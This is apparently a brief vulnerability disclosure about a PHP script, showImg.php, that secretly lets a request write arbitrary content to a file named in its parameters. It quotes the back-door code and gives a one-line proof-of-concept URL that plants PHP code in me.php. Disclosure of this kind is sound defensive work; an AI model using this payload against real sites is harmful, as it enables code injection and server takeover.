showImg.php passes through img.jpg, but also runs the following code
as a trivial arbitrary file write back door. It has nothing to do
with showing an image.
$in_fileStr = file_get_contents_me($reqDB);
$finalStr="".$in_fileStr."\n".$reqOut."#".$today = date("F j, Y, g:i a");
$fT = @fopen($reqDB, 'wt');
POC: showImg.php?db=me.php&email=<?echo "hello"; ?>
Mitigation: Nobody seems to be using this junk.
